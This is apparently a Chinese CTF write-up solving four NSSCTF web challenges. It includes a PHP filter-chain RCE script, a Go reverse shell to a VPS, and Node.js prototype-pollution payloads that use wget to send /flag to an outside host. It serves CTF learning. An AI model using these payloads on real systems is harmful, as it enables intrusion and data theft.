NSSCTF Round#8 Basic

from:http://v2ish1yan.top

MyDoor

使用php伪协议读取index.php的代码

php://filter/read=convert.base64-encode/resource=index.php

error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S

所以使用N[S.S来使后端得到的参数为N_S.S(具体原因自己去搜吧)

我原本以为flag在主机里,找了半天结果在phpinfo …

?N[S.S=phpinfo();

NSSCTF Round#8 Basic_第1张图片

MyPage

感觉部分源码和MyDoor是一样的,只是我尝试用伪协议读取index.php的时候没回显,所以猜测应该就是用了include来读取文件

看到include,我就想起了zedd的一篇文章

文章:

  • hxp CTF 2021 - The End Of LFI?
  • Solving “includer’s revenge” from hxp ctf 2021 without controlling any files

直接使用exp,来执行命令,得到flag

import requests

url = "http://43.143.7.127:28742/index.php?file="
file_to_use = "/etc/passwd"
command = "cat flag.php"

#
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

NSSCTF Round#8 Basic_第2张图片

Upload_gogoggo

一个没有过滤的文件上传,且在上传后会执行go加上文件名.之前的字符串的命令,并且是对你上传的文件进行执行的,(猜的)

eg:

上传文件名为run.go,那么就会执行go run run.go,这样会执行go里的代码

所以上传一个反弹shell的go文件

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
	cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
		fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

然后文件名为run.go,上传就可以得到shell

谢队把flag藏到/home了,挨打!

NSSCTF Round#8 Basic_第3张图片

ez_node

源码

const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");

const PORT = process.env.port || 3000
const app = express();

global = "global"

app.listen(PORT, () => {
    console.log(`listen at ${PORT}`);
});

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}


let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());

app.use(express.static("./public"));

app.post("/upload", (req, res) => {
    try{
        let oldName = req.files[0].path;
        let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
        fs.renameSync(oldName, newName);
        res.send({
            err: 0,
            url:
            "./upload/" +
            req.files[0].filename +
            path.parse(req.files[0].originalname).ext
        });
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
});

app.post('/pollution', require('body-parser').json(), (req, res) => {
    let data = {};
    try{
        merge(data, req.body);
        res.send('Register successfully!tql')
        require('./err.js').getRandomErr()
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
})

只有一个merge函数里可以进行原型链污染,而且从很多方面都可以看出来这个是原型链污染

具体污染的地方是https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454

可以污染他来加载任意包从而执行任意命令

根据出题人的本意是让我们上传一个包,然后去加载那个包,但是我是直接用的别人的exp,而且题目环境也包含exp里需要的文件,所以直接打就行

给/pollution路由传数据

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./preinstall.js"
		},
		"path": "/opt/yarn-v1.22.19",
		"npm_config_global": 1,
		"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://vpsip:vpsport/`cat /flag`'])"
	},
	"a": null
}

然后就可以得到flag

NSSCTF Round#8 Basic_第4张图片

至于这个exp是在哪找到的,就是题目给了hint:ez_node: https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454

在github上直接搜就可以找到 :>

更加精细的文章可以看

  • huli老师的文章

  • Node.js require() RCE复现


补充

在看了Node.js require() RCE复现这篇文章以及本地调试后,大概知道是啥原理了

主要是在https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454里的

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}

进入readPackageScope()

function readPackageScope(checkPath) {
  const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
  let separatorIndex;
  do {
    separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
    checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
    if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
      return false;
    const pjson = readPackage(checkPath + sep);
    if (pjson) return {
      data: pjson,
      path: checkPath,
    };
  } while (separatorIndex > rootSeparatorIndex);
  return false;
}

在进入readPackage()

function readPackage(requestPath) {
  const jsonPath = path.resolve(requestPath, 'package.json');

  const existing = packageJsonCache.get(jsonPath);
  if (existing !== undefined) return existing;

  const result = packageJsonReader.read(jsonPath);
  const json = result.containsKeys === false ? '{}' : result.string;
  if (json === undefined) {
    packageJsonCache.set(jsonPath, false);
    return false;
  }

  try {
    const parsed = JSONParse(json);
    const filtered = {
      name: parsed.name,
      main: parsed.main,
      exports: parsed.exports,
      imports: parsed.imports,
      type: parsed.type
    };
    packageJsonCache.set(jsonPath, filtered);
    return filtered;
  } catch (e) {
    e.path = jsonPath;
    e.message = 'Error parsing ' + jsonPath + ': ' + e.message;
    throw e;
  }
}

他会对当前require请求文件所在的目录中区找package.json文件并进行json解析,如果没有就返回fasle

所以

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}对pkg赋值的肯定是后面的{}的值

而这里就可以对pkg和pkgPath的值进行污染

总结来说,在require非原生库的过程中,最终会去调用PkgPathpkg.exports拼接起来的字符串所指定的文件

所以payload

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./<需要调用文件的文件名>"
		},
		"path": "<需要调用的文件的路径>",
}

如果要使用题目中提供的文件上传功能的话,就是这样做的

众所周知,require得到的是module.exports的内容,所以先上传一个js文件

好像是没有curl这个命令,所以这里要用wget进行oob

obj={
    getRandomErr:() => {
        require('child_process'.execSync('wget http://vpsport:vpsport/`cat /flag`')
    }
}
module.exports=obj

得到上传后的文件名

payload

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./cc3ddcac43eb509d0d8df23e0a6fc124.js"
		},
		"path": "/app/upload"
	}
}

给/pollution路由传数据,然后就可以在vps上得到flag

NSSCTF Round#8 Basic_第5张图片

你可能感兴趣的:(CTF,WEB,php,golang,node.js)